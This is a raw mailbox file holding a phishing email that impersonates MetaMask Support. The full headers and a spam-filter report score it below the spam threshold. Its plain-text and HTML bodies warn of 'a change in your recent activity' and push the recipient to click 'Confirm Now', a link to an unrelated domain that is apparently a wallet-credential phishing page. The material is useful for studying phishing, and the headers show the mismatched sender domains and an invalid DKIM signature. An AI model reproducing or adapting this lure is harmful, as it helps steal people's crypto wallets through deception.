File: /home2/hansardh/mail/new/1744346805.M747332P3354998.hp4.hostpido.com,S=6480,W=6632
Return-Path: <postmaster@5066507d26.nxcli.io>
Delivered-To: hansardh@hp4.hostpido.com
Received: from hp4.hostpido.com
by hp4.hostpido.com with LMTP
id V3JNLLWe+Gd2MTMA6hbwcw
(envelope-from <postmaster@5066507d26.nxcli.io>)
for <hansardh@hp4.hostpido.com>; Fri, 11 Apr 2025 07:46:45 +0300
Return-path: <postmaster@5066507d26.nxcli.io>
Envelope-to: info@hansardhomes.co.ke
Delivery-date: Fri, 11 Apr 2025 07:46:45 +0300
Received: from cloudhost-4481038.us-midwest-1.nxcli.net ([209.87.158.63]:24654)
by hp4.hostpido.com with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
(Exim 4.97.1)
(envelope-from <postmaster@5066507d26.nxcli.io>)
id 1u36Hu-0000000E4jU-3pRz
for info@hansardhomes.co.ke;
Fri, 11 Apr 2025 07:46:45 +0300
Comment: DomainKeys? See http://domainkeys.sourceforge.net/
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws;
s=default; d=5066507d26.nxcli.io;
b=wRLGPfByncPRmhmB1ALrOOXxUr6yvEgr0Xh3xergzDRYYlBLuPym6P41a9PFgFW38DEvitTYVW56mKOf3AqdFv5pxbFPJgkowO0x5QYYXbSdGTVoA2fTlwXKE5kmstqPxuiGEHum0WzLxXIL93bRZUR1MWmgkgiq3uBR1a4uvSSup+hfHdSDf/XaOgDSGmrakEFacNtrL1koL731mX9o7MgoiOykLaDVeOtRvRs+CEJ4MancnXKN1/Di942b7JDCbgHwiEAGd+yhL/6NfUerjFzXmETvTntJewI8VOv/TZq574nOxNVgNGthML++utnycSO7krMm9sddNoto4X4BNw==;
h=Received:Date:To:From:Reply-To:Subject:Message-ID:List-Unsubscribe:MIME-Version:Content-Type:Content-Transfer-Encoding;
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed; d=5066507d26.nxcli.io; h=
date:to:from:reply-to:subject:message-id:list-unsubscribe
:mime-version:content-type:content-transfer-encoding; s=default;
bh=7c1mp30puKNHgoWwBTtj50Z14LQ=; b=fnkuyglOjfbUGTYzGKbcO+GLJx+K
oTh+gAepd3N2ywnV7Wjd5Nzm843vWh6lAAEoTCq9iFJPlZyJarApSECOsTE25/hb
bMLK3QrlonsH25CMXtdvKhfcIVfwBgoCXSQ5jlS7uxUEY8XKWTn/xPOP2gAAJ1Y5
u7AlNe81guc6eFD++0qE6/fxOSZinmp70av2uzNoHOv3/zUJ58tHKy+tQSnJYtXA
xh1tMzwoYRzzQferEBq/TxYngrtZqfsobR3p81h03CQ6DHoVBUyXC9CmQaSPVH9i
dldziZmyGUPTI4oKc13wMssm1I257YZD0nrsqU0xKdBVPMgmPPgFXOBc4g==
Received: (qmail 12326 invoked by uid 10140); 11 Apr 2025 04:44:57 +0000
Date: Fri, 11 Apr 2025 04:43:15 +0000
To: info@hansardhomes.co.ke
From: MetaMask Support <meta@2fa.io>
Reply-To: meta@2fa.io
Subject: Warning
Message-ID: <032fcea9c5234b05af7f1240f4773cf6@2fa.io>
List-Unsubscribe: mailto:bounce544-izSQMI7Kq3lwnbY@2fa.io?subject=list-unsubscribe
MIME-Version: 1.0
Content-Type: multipart/alternative;
boundary="186ac4ff96e9404418e11ebff476ee16f"
Content-Transfer-Encoding: 8bit
X-Spam-Status: No, score=3.4
X-Spam-Score: 34
X-Spam-Bar: +++
X-Ham-Report: Spam detection software, running on the system "hp4.hostpido.com",
has NOT identified this incoming email as spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: MetaMask Security Warning We noticed a change in your recent
activity. To continue using your access securely, please confirm your session
using the link below. Enabling Two-Factor Authentication (2FA) will enhance
the protect [...]
Content analysis details: (3.4 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_DBL_BLOCKED_OPENDNS ADMINISTRATOR NOTICE: The query to
dbl.spamhaus.org was blocked due to usage
of an open resolver. See
https://www.spamhaus.org/returnc/pub/
[URIs: nxcli.io]
0.2 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level
mail domains are different
0.0 HTML_MESSAGE BODY: HTML included in message
1.0 HTML_IMAGE_ONLY_16 BODY: HTML: images with 1200-1600 bytes of
words
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily
valid
2.0 PYZOR_CHECK Listed in Pyzor
(https://pyzor.readthedocs.io/en/latest/)
0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict
Alignment
0.1 DKIM_INVALID DKIM or DK signature exists, but is not valid
X-Spam-Flag: NO
This is a multi-part message in MIME format.
--186ac4ff96e9404418e11ebff476ee16f
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
MetaMask Security Warning
We noticed a change in your recent activity. To continue using your access securely, please confirm your session using the link below.
Enabling Two-Factor Authentication (2FA) will enhance the protection of your wallet and ensure only you can access it — even if someone else knows your password.
Confirm Now
If you didn’t request this, you can safely ignore this message.
Thanks,Support Team
© 2025 Security Department. All rights reserved.
--186ac4ff96e9404418e11ebff476ee16f
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: 8bit
<!DOCTYPE html>
<html>
<body style=margin:0;padding:20px;font-family:Arial,sans-serif;background-color:#fff;color:#333>
<table width=100% cellpadding=0 cellspacing=0 style="max-width:600px;margin:auto;border:1px solid #ddd;border-radius:6px">
<tr>
<td style=background-color:#fff;padding:20px;text-align:center>
<img src=https://seeklogo.com/images/M/metamask-logo-09EDE53DBD-seeklogo.com.png width=70 alt=Logo style=margin-bottom:20px>
<h2 style=color:#f6851b;font-size:20px>MetaMask Security Warning</h2>
</td>
</tr>
<tr>
<td style=padding:20px>
<p></p>
<p>We noticed a change in your recent activity. To continue using your access securely, please confirm your session using the link below.</p>
<p>Enabling Two-Factor Authentication (2FA) will enhance the protection of your wallet and ensure only you can access it — even if someone else knows your password.</p>
<p style="text-align:center;margin:30px 0">
<a href=https://page-space.com/mt style="background-color:#f6851b;color:#fff;text-decoration:none;padding:12px 22px;border-radius:5px;font-weight:bold">Confirm Now</a>
</p>
<p>If you didn’t request this, you can safely ignore this message.</p>
<p>Thanks,<br>Support Team</p>
</td>
</tr>
<tr>
<td style="background-color:#f2f2f2;text-align:center;font-size:12px;color:#888;padding:10px;border-top:1px solid #ddd">
© 2025 Security Department. All rights reserved.
</td>
</tr>
</table>
</body>
</html>
--186ac4ff96e9404418e11ebff476ee16f--